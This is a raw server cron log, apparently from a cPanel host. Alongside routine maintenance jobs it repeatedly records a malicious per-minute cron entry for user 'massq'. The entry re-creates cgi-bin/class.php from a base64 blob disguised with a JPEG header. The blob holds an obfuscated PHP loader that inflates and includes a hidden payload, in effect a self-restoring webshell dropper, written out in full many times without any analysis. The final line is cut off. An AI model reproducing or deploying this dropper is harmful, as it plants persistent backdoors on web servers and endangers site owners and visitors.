Sep 13 00:28:01 server CROND[27974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:29:01 server CROND[28338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:29:01 server CROND[28339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:29:01 server CROND[28340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:30:02 server CROND[28711]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:30:02 server CROND[28714]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:30:02 server CROND[28715]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 13 00:30:02 server CROND[28717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:30:02 server CROND[28719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:30:02 server CROND[28716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:30:02 server CROND[28721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:30:02 server CROND[28722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:30:02 server CROND[28720]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:31:01 server CROND[29640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:31:01 server CROND[29641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:31:01 server CROND[29643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:32:01 server CROND[30020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:32:01 server CROND[30022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:32:01 server CROND[30021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:33:01 server CROND[30395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:33:01 server CROND[30396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:33:01 server CROND[30397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:34:01 server CROND[30762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:34:01 server CROND[30763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:34:01 server CROND[30764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:35:01 server CROND[31209]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:35:01 server CROND[31224]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 00:35:01 server CROND[31225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:35:01 server CROND[31226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:35:01 server CROND[31232]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:35:01 server CROND[31236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:35:01 server CROND[31237]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:35:01 server CROND[31233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:35:01 server CROND[31239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:36:01 server CROND[32169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:36:01 server CROND[32170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:36:01 server CROND[32171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:37:02 server CROND[32540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:37:02 server CROND[32542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:37:02 server CROND[32541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:38:01 server CROND[448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:38:01 server CROND[449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:38:01 server CROND[450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:39:01 server CROND[920]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 00:39:01 server CROND[919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:39:01 server CROND[921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:39:01 server CROND[922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:40:01 server CROND[1401]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:40:01 server CROND[1402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:40:01 server CROND[1405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:40:01 server CROND[1407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:40:01 server CROND[1406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:40:01 server CROND[1410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBd